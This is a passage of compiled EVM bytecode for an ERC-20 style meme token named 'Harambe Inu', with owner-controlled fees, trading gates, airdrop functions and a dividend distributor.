0x6080604052600436106103bc5760003560e01c8063722b62ad116101f2578063ca33e64c1161010d578063f2fde38b116100a0578063fe575a871161006f578063fe575a87146115e0578063fe9fbb8014611647578063fed0d2a1146116ae578063ffb54a99146116d9576103c3565b8063f2fde38b14611494578063f708a64f146114e5578063f84ba65d14611542578063f887ea401461159f576103c3565b8063df20fd49116100dc578063df20fd4914611380578063e96fada2146113c7578063ec72d65f14611408578063f0b37c0414611443576103c3565b8063ca33e64c1461122a578063d51ed1c81461126b578063dab84ee7146112ba578063dd62ed3e146112fb576103c3565b806398118cb411610185578063a9059cbb11610154578063a9059cbb146110ec578063b6a5d7de1461115d578063bd9ab537146111ae578063bfe10928146111e9576103c3565b806398118cb414610fd45780639d1944f514610fff578063a4b45c001461103a578063a8aa1b31146110ab576103c3565b8063893d20e8116101c1578063893d20e814610e44578063896648c114610e855780638e2eee8414610eb257806395d89b4114610f44576103c3565b8063722b62ad14610d9557806378109e5414610dc35780637d1db4a514610dee57806383ad799414610e19576103c3565b80632d594567116102e25780635e562f3b116102755780636b67c4df116102445780636b67c4df14610c7f5780636ddd171314610caa5780636fcba37714610cd757806370a0823114610d30576103c3565b80635e562f3b14610b8d578063617fe0ed14610bca578063658d4b7f14610bf75780636827e76414610c54576103c3565b806344a33fd2116102b157806344a33fd214610a5357806350db71fb14610a8e578063571ac8b014610aeb5780635c85974f14610b52576103c3565b80632d594567146108c45780632f54bf6e1461090e578063313ce56714610975578063335f6a43146109a3576103c3565b806318160ddd1161035a578063201e799111610329578063201e79911461077e57806323b872dd146107c35780632b112e49146108545780632d48e8961461087f576103c3565b806318160ddd146105f25780631ca0a28d1461061d5780631da1db5e146107185780631df4ccfc14610753576103c3565b8063095ea7b311610396578063095ea7b3146104be5780630d2959801461052f5780631161ae391461056c578063180b0d7e146105c7576103c3565b80630445b667146103c857806306fdde03146103f357806309302dc614610483576103c3565b366103c357005b600080fd5b3480156103d457600080fd5b506103dd611706565b6040518082815260200191505060405180910390f35b3480156103ff57600080fd5b5061040861170c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561044857808201518184015260208101905061042d565b50505050905090810190601f1680156104755780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561048f57600080fd5b506104bc600480360360208110156104a657600080fd5b8101908080359060200190929190505050611749565b005b3480156104ca57600080fd5b50610517600480360360408110156104e157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506117dd565b60405180821515815260200191505060405180910390f35b34801561053b57600080fd5b5061056a6004803603602081101561055257600080fd5b810190808035151590602001909291905050506118cf565b005b34801561057857600080fd5b506105af6004803603604081101561058f57600080fd5b810190808035906020019092919080359060200190929190505050611967565b60405180821515815260200191505060405180910390f35b3480156105d357600080fd5b506105dc61197c565b6040518082815260200191505060405180910390f35b3480156105fe57600080fd5b50610607611982565b6040518082815260200191505060405180910390f35b34801561062957600080fd5b506107166004803603606081101561064057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561067d57600080fd5b82018360208201111561068f57600080fd5b803590602001918460208302840111640100000000831117156106b157600080fd5b9091929391929390803590602001906401000000008111156106d257600080fd5b8201836020820111156106e457600080fd5b8035906020019184602083028401116401000000008311171561070657600080fd5b909192939192939050505061198c565b005b34801561072457600080fd5b506107516004803603602081101561073b57600080fd5b8101908080359060200190929190505050611ed4565b005b34801561075f57600080fd5b50610768611fcd565b6040518082815260200191505060405180910390f35b34801561078a57600080fd5b506107c1600480360360408110156107a157600080fd5b810190808035906020019092919080359060200190929190505050611fd3565b005b3480156107cf57600080fd5b5061083c600480360360608110156107e657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612060565b60405180821515815260200191505060405180910390f35b34801561086057600080fd5b50610869612260565b6040518082815260200191505060405180910390f35b34801561088b57600080fd5b506108c2600480360360408110156108a257600080fd5b8101908080359060200190929190803590602001909291905050506122e2565b005b3480156108d057600080fd5b5061090c600480360360408110156108e757600080fd5b81019080803515159060200190929190803560ff1690602001909291905050506123f6565b005b34801561091a57600080fd5b5061095d6004803603602081101561093157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506124aa565b60405180821515815260200191505060405180910390f35b34801561098157600080fd5b5061098a612503565b604051808260ff16815260200191505060405180910390f35b3480156109af57600080fd5b50610a51600480360360608110156109c657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190640100000000811115610a0357600080fd5b820183602082011115610a1557600080fd5b80359060200191846020830284011164010000000083111715610a3757600080fd5b90919293919293908035906020019092919050505061250c565b005b348015610a5f57600080fd5b50610a8c60048036036020811015610a7657600080fd5b81019080803590602001909291905050506129b9565b005b348015610a9a57600080fd5b50610ae960048036036040811015610ab157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050612a90565b005b348015610af757600080fd5b50610b3a60048036036020811015610b0e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612b66565b60405180821515815260200191505060405180910390f35b348015610b5e57600080fd5b50610b8b60048036036020811015610b7557600080fd5b8101908080359060200190929190505050612b99565b005b348015610b9957600080fd5b50610bc860048036036020811015610bb057600080fd5b81019080803515159060200190929190505050612c1e565b005b348015610bd657600080fd5b50610bdf612cb6565b60405180821515815260200191505060405180910390f35b348015610c0357600080fd5b50610c5260048036036040811015610c1a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050612cc9565b005b348015610c6057600080fd5b50610c69612d9f565b6040518082815260200191505060405180910390f35b348015610c8b57600080fd5b50610c94612da5565b6040518082815260200191505060405180910390f35b348015610cb657600080fd5b50610cbf612dab565b60405180821515815260200191505060405180910390f35b348015610ce357600080fd5b50610d2e60048036036080811015610cfa57600080fd5b8101908080359060200190929190803590602001909291908035906020019092919080359060200190929190505050612dbe565b005b348015610d3c57600080fd5b50610d7f60048036036020811015610d5357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612f25565b6040518082815260200191505060405180910390f35b348015610da157600080fd5b50610daa612f6e565b604051808260ff16815260200191505060405180910390f35b348015610dcf57600080fd5b50610dd8612f81565b6040518082815260200191505060405180910390f35b348015610dfa57600080fd5b50610e03612f87565b6040518082815260200191505060405180910390f35b348015610e2557600080fd5b50610e2e612f8d565b6040518082815260200191505060405180910390f35b348015610e5057600080fd5b50610e59612f93565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610e9157600080fd5b50610e9a612fbc565b60405180821515815260200191505060405180910390f35b348015610ebe57600080fd5b50610f4260048036036040811015610ed557600080fd5b8101908080359060200190640100000000811115610ef257600080fd5b820183602082011115610f0457600080fd5b80359060200191846020830284011164010000000083111715610f2657600080fd5b9091929391929390803515159060200190929190505050612fcf565b005b348015610f5057600080fd5b50610f596130e8565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610f99578082015181840152602081019050610f7e565b50505050905090810190601f168015610fc65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610fe057600080fd5b50610fe9613125565b6040518082815260200191505060405180910390f35b34801561100b57600080fd5b506110386004803603602081101561102257600080fd5b810190808035906020019092919050505061312b565b005b34801561104657600080fd5b506110a96004803603604081101561105d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506131bf565b005b3480156110b757600080fd5b506110c0613323565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156110f857600080fd5b506111456004803603604081101561110f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050613349565b60405180821515815260200191505060405180910390f35b34801561116957600080fd5b506111ac6004803603602081101561118057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061335e565b005b3480156111ba57600080fd5b506111e7600480360360208110156111d157600080fd5b8101908080359060200190929190505050613433565b005b3480156111f557600080fd5b506111fe6134c7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561123657600080fd5b5061123f6134ed565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561127757600080fd5b506112a46004803603602081101561128e57600080fd5b8101908080359060200190929190505050613513565b6040518082815260200191505060405180910390f35b3480156112c657600080fd5b506112cf613585565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561130757600080fd5b5061136a6004803603604081101561131e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506135ab565b6040518082815260200191505060405180910390f35b34801561138c57600080fd5b506113c5600480360360408110156113a357600080fd5b8101908080351515906020019092919080359060200190929190505050613632565b005b3480156113d357600080fd5b506113dc6136d2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561141457600080fd5b506114416004803603602081101561142b57600080fd5b81019080803590602001909291905050506136f8565b005b34801561144f57600080fd5b506114926004803603602081101561146657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061377d565b005b3480156114a057600080fd5b506114e3600480360360208110156114b757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613853565b005b3480156114f157600080fd5b506115406004803603604081101561150857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506139b5565b005b34801561154e57600080fd5b5061159d6004803603604081101561156557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050613cc0565b005b3480156115ab57600080fd5b506115b4613d96565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156115ec57600080fd5b5061162f6004803603602081101561160357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613dbc565b60405180821515815260200191505060405180910390f35b34801561165357600080fd5b506116966004803603602081101561166a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613ddc565b60405180821515815260200191505060405180910390f35b3480156116ba57600080fd5b506116c3613e32565b6040518082815260200191505060405180910390f35b3480156116e557600080fd5b506116ee613e38565b60405180821515815260200191505060405180910390f35b60245481565b60606040518060400160405280600b81526020017f486172616d626520496e75000000000000000000000000000000000000000000815250905090565b611752336124aa565b6117c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6103e88160065402816117d357fe5b0460088190555050565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6118d8336124aa565b61194a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80601e60146101000a81548160ff02191690831515021790555050565b60008261197383613513565b11905092915050565b60165481565b6000600654905090565b611995336124aa565b611a07576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6101f58484905010611a64576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d815260200180615abc602d913960400191505060405180910390fd5b818190508484905014611ac2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180615a106028913960400191505060405180910390fd5b6000805b85859050811015611af557838382818110611add57fe5b90506020020135820191508080600101915050611ac6565b5080611b0087612f25565b1015611b74576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4e6f7420656e6f75676820746f6b656e7320696e2077616c6c6574000000000081525060200191505060405180910390fd5b60005b85859050811015611d8c57611bc787878784818110611b9257fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff16868685818110611bbb57fe5b90506020020135613e4b565b5060106000878784818110611bd857fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611d7f57601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca96878784818110611c8b57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff16600960008a8a87818110611cb857fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015611d6357600080fd5b505af1925050508015611d74575060015b611d7d57611d7e565b5b5b8080600101915050611b77565b50601060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611ecc57601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca9687600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015611eb057600080fd5b505af1925050508015611ec1575060015b611eca57611ecb565b5b5b505050505050565b611edd33613ddc565b611f4f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000479050601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc606484840281611f9c57fe5b049081150290604051600060405180830381858888f19350505050158015611fc8573d6000803e3d6000fd5b505050565b60155481565b611fdc33613ddc565b61204e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b81601b8190555080601c819055505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461224c576121cb826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461401e9092919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6122578484846140de565b90509392505050565b60006122dd612290600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612f25565b6122cf6122be600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612f25565b600654614d4290919063ffffffff16565b614d4290919063ffffffff16565b905090565b6122eb33613ddc565b61235d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632d48e89683836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b1580156123da57600080fd5b505af11580156123ee573d6000803e3d6000fd5b505050505050565b6123ff336124aa565b612471576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b81602160006101000a81548160ff02191690831515021790555080602160016101000a81548160ff021916908360ff1602179055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006009905090565b612515336124aa565b612587576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b61032183839050106125e4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d815260200180615ae9602d913960400191505060405180910390fd5b60008383905082029050806125f886612f25565b101561266c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4e6f7420656e6f75676820746f6b656e7320696e2077616c6c6574000000000081525060200191505060405180910390fd5b60005b84849050811015612872576126ad8686868481811061268a57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1685613e4b565b50601060008686848181106126be57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661286557601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca9686868481811061277157fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff166009600089898781811061279e57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561284957600080fd5b505af192505050801561285a575060015b61286357612864565b5b5b808060010191505061266f565b50601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166129b257601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca9686600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561299657600080fd5b505af19250505080156129a7575060015b6129b0576129b1565b5b5b5050505050565b6129c233613ddc565b612a34576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc606484840281612a5f57fe5b049081150290604051600060405180830381858888f19350505050158015612a8b573d6000803e3d6000fd5b505050565b612a9933613ddc565b612b0b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000612b92827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6117dd565b9050919050565b612ba233613ddc565b612c14576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b8060078190555050565b612c27336124aa565b612c99576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548160ff02191690831515021790555050565b602160009054906101000a900460ff1681565b612cd233613ddc565b612d44576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60145481565b60135481565b602360009054906101000a900460ff1681565b612dc733613ddc565b612e39576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b8360118190555082601281905550816013819055506001601481905550612e8f601454612e8184612e738789614d8c90919063ffffffff16565b614d8c90919063ffffffff16565b614d8c90919063ffffffff16565b60158190555080601681905550600360165481612ea857fe5b0460155410612f1f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f466565732063616e6e6f74206265206d6f7265207468616e203333250000000081525060200191505060405180910390fd5b50505050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b602160019054906101000a900460ff1681565b60085481565b60075481565b60125481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600b60009054906101000a900460ff1681565b612fd8336124aa565b61304a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b838390508110156130e25781600c600086868581811061306957fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600101905061304d565b50505050565b60606040518060400160405280600781526020017f486172616d626500000000000000000000000000000000000000000000000000815250905090565b60115481565b61313433613ddc565b6131a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b620b71b081106131b557600080fd5b8060208190555050565b6131c833613ddc565b61323a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b81601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006133563384846140de565b905092915050565b613367336124aa565b6133d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61343c336124aa565b6134ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6103e88160065402816134bd57fe5b0460078190555050565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061357e613520612260565b6135706135616002613553601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612f25565b614e1490919063ffffffff16565b85614e1490919063ffffffff16565b614e9a90919063ffffffff16565b9050919050565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61363b33613ddc565b6136ad576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b81602360006101000a81548160ff021916908315150217905550806024819055505050565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b613701336124aa565b613773576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b8060178190555050565b613786336124aa565b6137f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61385c336124aa565b6138ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6139be33613ddc565b613a30576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015613aba5750601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b613ac357600080fd5b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015613bd157601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca968360006040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015613bb457600080fd5b505af1158015613bc8573d6000803e3d6000fd5b50505050613cbc565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca9683600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015613ca357600080fd5b505af1158015613cb7573d6000803e3d6000fd5b505050505b5050565b613cc933613ddc565b613d3b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c6020528060005260406000206000915054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60175481565b601e60149054906101000a900460ff1681565b6000613ed6826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461401e9092919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613f6b82600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054614d8c90919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008383111582906140cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015614090578082015181840152602081019050614075565b50505050905090810190601f1680156140bd5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000602560009054906101000a900460ff161561410757614100848484613e4b565b9050614d3b565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156141ab5750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561423357601e60149054906101000a900460ff16614232576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f54726164696e67206e6f74206f70656e2079657400000000000000000000000081525060200191505060405180910390fd5b5b600b60009054906101000a900460ff161561435f57600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156142ec5750600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1